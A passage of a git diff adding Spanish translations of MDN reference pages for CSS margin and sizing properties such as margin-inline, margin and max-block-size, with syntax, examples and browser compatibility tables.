+   <td>Removes its effect on inline elements.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#margin-bottom', 'margin-bottom')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable()}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>3.0</td>
+   <td>3.5</td>
+   <td>1.0 (85)</td>
+  </tr>
+  <tr>
+   <td><code>auto</code> value</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>6.0 (strict mode)</td>
+   <td>3.5</td>
+   <td>1.0 (85)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoMobile("1")}}</td>
+   <td>6.0</td>
+   <td>6.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/margin-inline-end/index.html b/files/es/web/css/margin-inline-end/index.html
new file mode 100644
index 0000000000..2ce32be63e
--- /dev/null
+++ b/files/es/web/css/margin-inline-end/index.html
@@ -0,0 +1,98 @@
+---
+title: margin-inline-end
+slug: Web/CSS/margin-inline-end
+translation_of: Web/CSS/margin-inline-end
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a><strong> <code>margin-inline-end</code></strong> define el margen final lógico en línea de un elemento, que se asigna a un margen físico en función del modo de escritura, la direccionalidad y la orientación del texto del elemento. En otras palabras, corresponde a las propiedades {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} o {{cssxref("margin-left")}} dependiendo de los valores definidos por {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/margin-inline-end.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+margin-inline-end: 10px;   /* An absolute length */
+margin-inline-end: 1em;    /* relative to the text size */
+margin-inline-end: 5%;     /* relative to the nearest block container's width */
+
+/* Keyword values */
+margin-inline-end: auto;
+
+/* Global values */
+margin-inline-end: inherit;
+margin-inline-end: initial;
+margin-inline-end: unset;
+</pre>
+
+<p>Se relaciona con {{cssxref("margin-block-start")}}, {{cssxref("margin-block-end")}}, and {{cssxref("margin-inline-start")}}, que define las otras márgenes del elemento.</p>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Valores">Valores</h3>
+
+<p>La propiedad <code>margin-inline-end</code> toma los mismos valores de la propiedad {{cssxref("margin-left")}}.</p>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  margin-inline-end: 20px;
+  background-color: #c8c800;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-margin-inline-end", "margin-inline-end")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.margin-inline-end")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>{{cssxref("margin-inline-start")}}</li>
+ <li>Las propiedades físicas mapeadas: {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}}, y {{cssxref("margin-left")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/margin-inline-start/index.html b/files/es/web/css/margin-inline-start/index.html
new file mode 100644
index 0000000000..c0f734b017
--- /dev/null
+++ b/files/es/web/css/margin-inline-start/index.html
@@ -0,0 +1,96 @@
+---
+title: margin-inline-start
+slug: Web/CSS/margin-inline-start
+translation_of: Web/CSS/margin-inline-start
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
+<p>The <strong><code>margin-inline-start</code></strong> define el margen de inicio en línea lógico de un elemento, que se asigna a un margen físico según el modo de escritura, la direccionalidad y la orientación del texto del elemento. Corresponde a la las propiedades {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}}, o {{cssxref("margin-left")}} dependiendo de los valores definidos por {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/margin-inline-start.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+margin-inline-start: 10px;  /* An absolute length */
+margin-inline-start: 1em;   /* relative to the text size */
+margin-inline-start: 5%;    /* relative to the nearest block container's width */
+
+/* Keyword values */
+margin-inline-start: auto;
+
+/* Global values */
+margin-inline-start: inherit;
+</pre>
+
+<p>Se relaciona con {{cssxref("margin-block-start")}}, {{cssxref("margin-block-end")}}, and {{cssxref("margin-inline-end")}}, que define las otras márgenes del elemento.</p>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Valores">Valores</h3>
+
+<p>La propiedad <code>margin-inline-start</code> toma los mismos valores de la propiedad {{cssxref("margin-left")}}.</p>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  margin-inline-start: 20px;
+  background-color: #c8c800;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-margin-inline-start", "margin-inline-start")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.margin-inline-start")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>{{cssxref("margin-inline-end")}}</li>
+ <li>Las propiedades físicas mapeadas: {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}}, y {{cssxref("margin-left")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/margin-inline/index.html b/files/es/web/css/margin-inline/index.html
new file mode 100644
index 0000000000..9bff11e577
--- /dev/null
+++ b/files/es/web/css/margin-inline/index.html
@@ -0,0 +1,96 @@
+---
+title: margin-inline
+slug: Web/CSS/margin-inline
+translation_of: Web/CSS/margin-inline
+---
+<p>{{CSSRef}}{{SeeCompatTable}} </p>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <strong><code>margin-inline</code></strong> define los márgenes lógicos de inicio y final en línea de un elemento, que se asignan a márgenes físicos según el modo de escritura, la direccionalidad y la orientación del texto del elemento.</p>
+
+<pre class="brush:css no-line-numbers notranslate">/* Valores &lt;largo&gt; */
+margin-inline: 10px 20px;  /* Un largo absoluto */
+margin-inline: 1em 2em;    /* relativo al tamaño del texto */
+margin-inline: 5% 2%;      /* relativo al ancho del container del bloque más cercano */
+margin-inline: 10px;       /* settear tanto el valor inicial como el final*/
+
+/* Valores keyword */
+margin-inline: auto;
+
+/* Valores globales */
+margin-inline: inherit;
+margin-inline: initial;
+margin-inline: unset;
+</pre>
+
+<p>Estos valores corresponden a las propiedades {{CSSxRef("margin-top")}} y {{CSSxRef("margin-bottom")}}, o {{CSSxRef("margin-right")}}, y {{CSSxRef("margin-left")}} dependiendo de los valores definidos por {{CSSxRef("writing-mode")}}, {{CSSxRef("direction")}}, y {{CSSxRef("text-orientation")}}.</p>
+
+<p>Los valores pueden ser establecidos indibidualmente como {{CSSxRef("margin-inline-start")}} y {{CSSxRef("margin-inline-end")}}. La propiedad de dirección de bloque es {{CSSxRef("margin-block")}} que establece {{CSSxRef("margin-block-start")}}, y {{CSSxRef("margin-block-end")}}.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<p>La propiedad <code>margin-inline</code> toma los mismos valores de la propiedad {{CSSxRef("margin-left")}}.</p>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Texto de ejemplo&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css notranslate">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-rl;
+  margin-inline: 20px 40px;
+  background-color: #c8c800;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-margin-inline", "margin-inline")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p id="Browser_compatibility">{{CSSInfo}}</p>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.margin-inline")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Las propiedades físicas mapeadas: {{CSSxRef("margin-top")}}, {{CSSxRef("margin-right")}}, {{CSSxRef("margin-bottom")}}, y {{CSSxRef("margin-left")}}</li>
+ <li>{{CSSxRef("writing-mode")}}, {{CSSxRef("direction")}}, {{CSSxRef("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/margin-right/index.html b/files/es/web/css/margin-right/index.html
new file mode 100644
index 0000000000..7d7f2b6486
--- /dev/null
+++ b/files/es/web/css/margin-right/index.html
@@ -0,0 +1,26 @@
+---
+title: margin-right
+slug: Web/CSS/margin-right
+translation_of: Web/CSS/margin-right
+---
+<h3 id="Definicion" name="Definicion">Definicion</h3>
+<p>El margen derecho de propiedad establece el margen derecho de un elemento.</p>
+<ul>
+ <li>Nota: Los valores negativos son permitidas.</li>
+ <li>Heredado: No.</li>
+</ul>
+<h3 id="Sintaxis_JavaScript" name="Sintaxis_JavaScript">Sintaxis JavaScript</h3>
+<p>CSS propiedades también se puede cambiar dinámicamente con una JavaScript. Scripting Sintaxis: object.style.marginRight="10px"</p>
+<h3 id="Ejemplo" name="Ejemplo">Ejemplo</h3>
+<pre>h1
+{
+margin-right: 10px
+}
+h2
+{
+margin-right: -20px
+}
+</pre>
+<ul>
+ <li>Fuente: [<a class="external" href="http://www.w3schools.com/css/pr_margin-right.asp">] </a></li>
+</ul>
diff --git a/files/es/web/css/margin/index.html b/files/es/web/css/margin/index.html
new file mode 100644
index 0000000000..bd0acd9524
--- /dev/null
+++ b/files/es/web/css/margin/index.html
@@ -0,0 +1,214 @@
+---
+title: margin
+slug: Web/CSS/margin
+translation_of: Web/CSS/margin
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <strong><code>margin </code></strong>establece el margen para los cuatro lados. Es una abreviación para evitar tener que establecer cada lado por separado con las otras propiedades de margen:  {{ cssxref("margin-top") }}, {{ cssxref("margin-right") }}, {{ cssxref("margin-bottom") }} y {{ cssxref("margin-left") }}.</p>
+
+<p>También se permiten valores negativos.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">/* Aplica a todos los cuatro lados */
+margin: 1em;
+
+/* Vertical | Horizontal */
+margin: 5% auto;
+
+/* Arriba | Horizontal | Abajo */
+margin: 1em auto 2em;
+
+/* Arriba | Derecha | Abajo | Izquierda */
+margin: 2px 1em 0 auto;
+
+/* Valores globales */
+margin: inherit;
+margin: initial;
+margin: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<p>Acepta uno, dos , tres  o cuatro valores de los siguientes:</p>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Especifica un ancho fijo. Valores negativos son permitidos. Mira {{cssxref("&lt;length&gt;")}} para conocer las posibles unidades.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Un {{cssxref("&lt;percentage&gt;")}} relativo al <strong>ancho </strong>del bloque contenedor. Se permiten valores negativos.</dd>
+ <dt><code>auto</code></dt>
+ <dd><code>auto es reemplazado por algún valor</code> apropiado. Por ejemplo, puede usarse para centrar horizontalmente un elemento bloque.<br>
+ <code>div { width:50%;  margin:0 auto; }</code> centrará el div horizontalmente.</dd>
+</dl>
+
+<ul>
+ <li><strong>Un</strong> único valor aplicará para todos los <strong>cuatro lados</strong>.</li>
+ <li><strong>Dos</strong> valores aplicarán: El primer valor para <strong>arriba y abajo</strong>, el segundo valor para <strong>izquierda y derecha</strong>.</li>
+ <li><strong>Tres</strong>  valores aplicarán: El primero para <strong>arriba</strong>, el segundo para <strong>izquierda y derecha</strong>, el tercero para <strong>abajo</strong>.</li>
+ <li><strong>Cuatro </strong>valores aplicarán en sentido de las manecillas del reloj empezando desde arriba. (<strong>Arriba, derecha, abajo, izquierda</strong>)</li>
+</ul>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_simple">Ejemplo simple</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="ex1"&gt;
+  margin:     auto;
+  background: gold;
+  width:      66%;
+&lt;/div&gt;
+&lt;div class="ex2"&gt;
+  margin:     20px 0 0 -20px;
+  background: gold;
+  width:      66%;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css; highlight:[2,7]">.ex1 {
+  margin: auto;
+  background: gold;
+  width: 66%;
+}
+.ex2 {
+  margin: 20px 0px 0 -20px;
+  background: gold;
+  width: 66%;
+}</pre>
+
+<p>{{ EmbedLiveSample('Simple_example') }}</p>
+
+<h3 id="Otro_ejemplo">Otro ejemplo</h3>
+
+<pre class="brush: css">margin: 5%;                /* 5% para todos los lados */
+
+margin: 10px;              /* 10px para todos los lados */
+
+margin: 1.6em 20px;        /* 1.6em arriba y abajo, 20px izquierda y derecha */
+
+margin: 10px 3% 1em;       /* 10px arriba, 3% izquierda y derecha, 1em abajo */
+
+margin: 10px 3px 30px 5px; /* 10px arriba, 3px derecha, 30px abajo, 5px izquierda */
+
+margin: 1em auto;          /* 1em arriba y abajo, centrado horizontalmente */
+
+margin: auto;              /* 0px de margen vertical, centrado horizontalmente */
+</pre>
+
+<h2 id="Centrado_horizontal_con_margin_0_auto">Centrado horizontal con  <code>margin: 0 auto;</code></h2>
+
+<p>Para centrar algo horizontalmente en navegadores modernos, usa <code><a href="/en-US/docs/Web/CSS/display">display</a>: flex; <a href="/en-US/docs/Web/CSS/justify-content">justify-content</a>: center;</code> .</p>
+
+<p>Sin embargo, en navegadores antiguos como IE8-9, <strong>flexbox</strong> no está disponible. Para poder centrar un elemento horizontalmente con respecto a su contenedor, usa <code>margin: 0 auto;</code></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Box', '#margin', 'margin') }}</td>
+   <td>{{ Spec2('CSS3 Box') }}</td>
+   <td>No significant change</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'margin') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Defines <code>margin</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'box.html#margin-properties', 'margin') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Removes its effect on inline elements.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#margin', 'margin') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop("1") }}</td>
+   <td>3.0</td>
+   <td>3.5</td>
+   <td>1.0 (85)</td>
+  </tr>
+  <tr>
+   <td><code>auto</code> value</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop("1") }}</td>
+   <td>6.0 (strict mode)</td>
+   <td>3.5</td>
+   <td>1.0 (85)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoMobile("1") }}</td>
+   <td>6.0</td>
+   <td>6.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="es/docs/Web/CSS/CSS_Modelo_Caja/Mastering_margin_collapsing">Entendiendo el colapso de margen</a></li>
+</ul>
diff --git a/files/es/web/css/max-block-size/index.html b/files/es/web/css/max-block-size/index.html
new file mode 100644
index 0000000000..5707a6ce0f
--- /dev/null
+++ b/files/es/web/css/max-block-size/index.html
@@ -0,0 +1,178 @@
+---
+title: max-block-size
+slug: Web/CSS/max-block-size
+translation_of: Web/CSS/max-block-size
+---
+<div>{{CSSRef}}{{SeeCompatTable}} </div>
+
+<p><span class="seoSummary">La propiedad de <a href="/en-US/docs/Web/CSS">CSS</a> <code><strong>max-block-size</strong></code> especifica el tamaño máximo de un elemento en la dirección opuesta a la de la dirección de escritura según lo especificado por {{cssxref("writing-mode")}}.</span> Esto es, si la dirección de escritura es horizontal, entonces <code>max-block-size</code> es equivalente a {{cssxref("max-height")}}; si la dirección de escritura es vertical, <code>max-block-size</code> es lo mismo que {{cssxref("max-width")}}.</p>
+
+<p>La longitud máxima de la otra dimensión se especifica usando la propiedad {{cssxref("max-inline-size")}}.</p>
+
+<p>Esto es útil porque <code>max-width</code> siempre se utiliza para tamaños horizontales y <code>max-height</code> siempre se usa para tamaños verticales, y si necesitas establecer longitudes en función del tamaño del contenido del texto, debes poder hacerlo con la dirección de escritura en mente.</p>
+
+<p>En cualquier momento usarías normalmente <code>max-height</code> o <code>max-width</code>, en su lugar deberías usar <code>max-block-size</code>para establecer el máximo "height" del contenido (even though this may not be a vertical value) y <code>max-inline-size</code> para establecer el máximo "width" del contenido (aunque esto puede ser más bien vertical en lugar de horizontal). Mira el {{SectionOnPage("/en-US/docs/Web/CSS/writing-mode", "Example")}}, que muestra los diferentes modos de escritura en acción.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/max-block-size.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+max-block-size: 300px;
+max-block-size: 25em;
+
+/* &lt;percentage&gt; values */
+max-block-size: 75%;
+
+/* Keyword values */
+max-block-size: none;
+max-block-size: max-content;
+max-block-size: min-content;
+max-block-size: fit-content;
+max-block-size: fill-available;
+
+/* Global values */
+max-block-size: inherit;
+max-block-size: initial;
+max-block-size: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Valores">Valores</h3>
+
+<p>El valor de la propiedad <code>max-block-size</code> puede ser cualquier valor legal de las popiedades {{cssxref("max-width")}} y {{cssxref("max-height")}}:</p>
+
+<p>{{page("/en-US/docs/Web/CSS/max-width", "Values")}}</p>
+
+<h3 id="Cómo_writing-mode_afecta_la_directionalidad">Cómo writing-mode afecta la directionalidad</h3>
+
+<p>Los valores de <code>writing-mode</code> afecta la asignación de <code>max-block-size</code> a <code>max-width</code> o <code>max-height</code> como sigue:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Valores de <code>writing-mode</code></th>
+   <th scope="col"><code>max-block-size</code> es equivalente a</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>horizontal-tb</code>, <code>lr</code> {{deprecated_inline}}, <code>lr-tb</code> {{deprecated_inline}}, <code>rl</code> {{deprecated_inline}}, <code>rb</code> {{deprecated_inline}}, <code>rb-rl</code> {{deprecated_inline}}</td>
+   <td>{{cssxref("max-height")}}</td>
+  </tr>
+  <tr>
+   <td><code>vertical-rl</code>, <code>vertical-lr</code>, <code>sideways-rl</code> {{experimental_inline}}, <code>sideways-lr</code> {{experimental_inline}}, <code>tb</code> {{deprecated_inline}}, <code>tb-rl</code> {{deprecated_inline}}</td>
+   <td>{{cssxref("max-width")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p>The <code>writing-mode</code> values <code>sideways-lr</code> and <code>sideways-rl</code> were removed from the CSS Writing Modes Level 3 specification late in its design process. They may be restored in Level 4.</p>
+</div>
+
+<div class="note">
+<p>The writing modes <code>lr</code>, <code>lr-tb</code>, <code>rl</code>, <code>rb</code>, and <code>rb-tl</code> are no longer allowed in {{Glossary("HTML")}} contexts; they may only be used in {{Glossary("SVG")}} 1.x contexts.</p>
+</div>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>En este ejemplo, el mismo texto (las oraciones iniciales del {{interwiki("wikipedia", "Herman Melville", "Herman Melville's")}} novel <em>{{interwiki("wikipedia", "Moby-Dick")}}</em>) es presentado en ambos modos de escritura: <code>horizontal-tb</code> y <code>vertical-rl</code>.</p>
+
+<p>Todo lo demás sobre las dos cajas es idéntico, incluidos los valores utilizados para {{cssxref("max-block-size")}}.</p>
+
+<h3 id="Contenido_HTML">Contenido HTML </h3>
+
+<p>El HTML simplemente establece los dos bloques {{HTMLElement("div")}} que serán presentados con su {{cssxref("writing-mode")}} estableciendo el uso de las clases <code>horizontal</code> o <code>vertical</code>. Ambas cajas comparten la clase <code>standard-box</code>, que simplemente establece colores, relleno, y sus respectivos valores de <code>max-block-size</code>.</p>
+
+<pre class="brush: html">&lt;p&gt;Writing mode &lt;code&gt;horizontal-tb&lt;/code&gt; (the default):&lt;/p&gt;
+&lt;div class="standard-box horizontal"&gt;
+  Call me Ishmael. Some years ago—never mind how
+  long precisely—having little or no money in my
+  purse, and nothing particular to interest me on
+  shore, I thought I would sail about a little and see
+  the watery part of the world. It is a way I have of
+  driving off the spleen and regulating the
+  circulation.
+&lt;/div&gt;
+
+&lt;p&gt;Writing mode &lt;code&gt;vertical-rl&lt;/code&gt;:&lt;/p&gt;
+&lt;div class="standard-box vertical"&gt;
+  Call me Ishmael. Some years ago—never mind how
+  long precisely—having little or no money in my
+  purse, and nothing particular to interest me on
+  shore, I thought I would sail about a little and see
+  the watery part of the world. It is a way I have of
+  driving off the spleen and regulating the
+  circulation.
+&lt;/div&gt;</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS </h3>
+
+<p>El CSS está definido por tres clases. La primera, <code>standard-box</code>, es aplicada a ambas cajas, como se ve arriba. Proporciona un estilo estándar que incluye los tamaños de bloque mínimo y máximo, tamaño de fuente, etc.</p>
+
+<p>Después que vienen las clases <code>horizontal</code> y <code>vertical</code>, que agregan las propiedades {{cssxref("writing-mode")}} para la caja, con el valor establecido para <code>horizontal-tb</code> o <code>vertical-rl</code> dependiendo en qué clase se usa.</p>
+
+<pre class="brush: css">.standard-box {
+  padding: 4px;
+  background-color: #abcdef;
+  color: #000;
+  font: 16px "Open Sans", "Helvetica", "Arial", sans-serif;
+  max-block-size: 160px;
+  min-block-size: 100px;
+}
+
+.horizontal {
+  writing-mode: horizontal-tb;
+}
+
+.vertical {
+  writing-mode: vertical-rl;
+}
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>Las dos cajas se ven así al final:</p>
+
+<p>{{EmbedLiveSample("Ejemplo", 600, 850)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-max-block-size", "max-block-size")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.max-block-size")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Las propiedades físicas mapeadas: {{cssxref("max-width")}} y {{cssxref("max-height")}}</li>
+ <li>Configuración del tamaño máximo de la otra dirección: {{cssxref("max-inline-size")}}</li>
+ <li>{{cssxref("writing-mode")}}</li>
+</ul>
diff --git a/files/es/web/css/max-height/index.html b/files/es/web/css/max-height/index.html
new file mode 100644
index 0000000000..01c24aa995
--- /dev/null
+++ b/files/es/web/css/max-height/index.html
@@ -0,0 +1,94 @@
+---
+title: max-height
+slug: Web/CSS/max-height
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Todas_las_Categorías
+translation_of: Web/CSS/max-height
+---
+<p> </p>
+
+<p>&lt;&lt; <a href="es/Gu%c3%ada_de_referencia_de_CSS">Volver</a></p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>La propiedad <code>max-height</code> se utiliza para definir la altura máxima de un elemento dado. Impide que el valor de la {{ Cssxref("height", "altura") }} pueda llegar a ser más grande que la de <code>max-height</code>.</p>
+
+<ul>
+ <li>{{ Cssxref("initial", "Valor inicial") }}: {{ Cssxref("none", "ninguno") }}</li>
+ <li>Se aplica a : elementos de bloque o remplazados</li>
+ <li>{{ Cssxref("inheritance", "Valor heredado") }}: no</li>
+ <li>Porcentajes: se refiere a la altura del bloque contenedor.</li>
+ <li>Medio: {{ Xref_cssvisual() }}</li>
